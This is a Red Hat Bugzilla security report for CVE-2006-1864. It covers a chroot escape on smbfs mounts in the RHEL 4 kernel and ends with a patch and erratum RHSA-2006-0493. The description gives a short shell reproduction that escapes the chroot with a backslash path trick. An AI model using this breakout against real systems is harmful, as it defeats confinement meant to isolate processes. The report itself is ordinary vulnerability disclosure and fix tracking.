Bug 189435

Summary: CVE-2006-1864 smbfs chroot issue
Product: Red Hat Enterprise Linux 4 Reporter: Marcel Holtmann <holtmann>
Component: kernelAssignee: Peter Staubach <staubach>
Status: CLOSED ERRATA QA Contact: Brian Brock <bbrock>
Severity: medium Docs Contact:
Priority: medium    
Version: 4.0CC: jbaron, security-response-team, steved
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard: impact=moderate,source=secalert,reported=20060417,embargo=20060426,public=20060426
Fixed In Version: RHSA-2006-0493 Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2006-05-24 09:30:24 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Attachments:
Description Flags
Proposed patch none

Description Marcel Holtmann 2006-04-19 22:50:43 UTC 
When doing a chroot inside of a smb-mounted filesystem (smbfs), it appears that
you can break out of it using "cd ..\\" (2 backslashes).

[root@server me]# pwd
/path/to/my/dir
[root@server me]# ls
bin  chroot  etc  lib
[root@server me]# chroot .
bash-2.05a# pwd
/
bash-2.05a# ls
bin  chroot  etc  lib
bash-2.05a# cd ..\\
bash-2.05a# pwd
/..\
bash-2.05a# ls
<list of files from parent>
Comment 2 Peter Staubach 2006-05-09 20:20:58 UTC 
Created attachment 128809 [details]
Proposed patch
Comment 7 Jason Baron 2006-05-22 18:47:52 UTC 
committed in stream U4 build 36.1. A test kernel with this patch is available
from http://people.redhat.com/~jbaron/rhel4/
committed in stream U4 build 36.1. A test kernel with this patch is available
from http://people.redhat.com/~jbaron/rhel4/
Comment 9 Red Hat Bugzilla 2006-05-24 09:30:24 UTC 
An advisory has been issued which should help the problem
described in this bug report. This report is therefore being
closed with a resolution of ERRATA. For more information
on the solution and/or where to find the updated files,
please follow the link below. You may reopen this bug report
if the solution does not work for you.

http://rhn.redhat.com/errata/RHSA-2006-0493.html